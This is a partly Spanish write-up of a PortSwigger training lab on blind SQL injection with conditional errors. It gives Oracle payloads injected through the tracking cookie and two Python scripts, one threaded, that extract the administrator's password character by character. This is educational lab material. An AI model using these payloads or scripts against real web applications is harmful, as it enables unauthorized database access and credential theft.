← Writeups

Blind SQL injection with conditional errors

https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.


https://siunam321.github.io/ctf/portswigger-labs/SQL-Injection/sqli-12/

agregando 2 ' ' no hay error, pero con una si. con ello Al utilizar unicamente SELECT '' muestra un error, al agregar from dual se reconoce la bd oracle

Cookie: TrackingId=8vM6xMidQm9dFVQL'||(SELECT '' FROM dual)||'
#!/usr/bin/env python3

import requests

url = 'https://0ab600a003b6a83bc3051eae001f006b.web-security-academy.net/'

trackingid = 'YOUR_TRACKINGID'
payload = f"""{trackingid}PAYLOAD_HERE"""

cookie = {
	'session': 'YOUR_SESSIONID',
	'TrackingId': payload
}

r = requests.get(url, cookies=cookie)

if r.status_code == 200:
	print('No error')
else:
	print('Error occurred')

'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

con el siguiente payload se verifica que la tabla users existe.

payload = f"""{trackingid}'||(SELECT '' FROM users WHERE ROWNUM = 1)||'"""

Enumerar la existrencia del usuario administrator tras encontrar la tabla users:

  • levantando un error por division por 0 : causa un error en la bd para revelarnos info
  • trigger an error (division by zero) only if the condition (1=1) is true AND the user administrator exists in the users table.
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
  • levantando un error cuando no existe
8vM6xMidQm9dFVQL'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE TO_CHAR(1/0) END FROM users WHERE username='administrator')||'

En este caso si existe la columna administrator

Con este determinamos la longitud de la password

payload = f"""{trackingid}'||(SELECT CASE WHEN LENGTH(password)>20 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"""
payload = f"""{trackingid}'||(SELECT CASE WHEN SUBSTR(password,{position},1)='{character}' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"""

Codigo optimizado con threads

#!/usr/bin/env python3

import requests
from string import ascii_lowercase, digits
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading

def main():
    url = 'https://0ab600a003b6a83bc3051eae001f006b.web-security-academy.net/'
    trackingid = 'YOUR_TRACKINGID'
    session_id = 'YOUR_SESSIONID'

    chars = ascii_lowercase + digits
    password_length = 20
    max_workers = 15  # Más workers para procesar múltiples posiciones
    
    print_lock = threading.Lock()
    password = [''] * password_length

    def check_character(pos, char):
        """Verifica si el carácter es correcto en la posición dada"""
        payload = f"""{trackingid}'||(SELECT CASE WHEN SUBSTR(password,{pos},1)='{char}' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"""
        
        cookie = {
            'session': session_id,
            'TrackingId': payload
        }

        try:
            r = requests.get(url, cookies=cookie, timeout=10)
            if r.status_code != 200:
                return pos, char
        except requests.RequestException:
            pass
        return None

    def find_all_chars():
        """Intenta encontrar todos los caracteres en paralelo"""
        print("[*] Buscando contraseña en paralelo...")
        
        with ThreadPoolExecutor(max_workers=max_workers) as executor:
            # Enviar todas las combinaciones posición-carácter
            futures = [
                executor.submit(check_character, pos, char)
                for pos in range(1, password_length + 1)
                for char in chars
            ]
            
            completed = 0
            for future in as_completed(futures):
                result = future.result()
                completed += 1
                
                if result:
                    pos, char = result
                    password[pos - 1] = char
                
                # Mostrar progreso
                if completed % 50 == 0:
                    current = ''.join(c if c else '?' for c in password)
                    with print_lock:
                        print(f'[*] Progreso: {current} ({completed}/{len(futures)})', end='\r')

    try:
        find_all_chars()
        final_password = ''.join(password)
        
        if all(password):
            print(f'\n[+] Contraseña encontrada: {final_password}')
        else:
            print(f'\n[-] Contraseña incompleta: {final_password}')
            
    except KeyboardInterrupt:
        print('\n[*] Ejecución interrumpida')
        current = ''.join(c if c else '?' for c in password)
        print(f'[*] Progreso actual: {current}')

if __name__ == '__main__':
    main()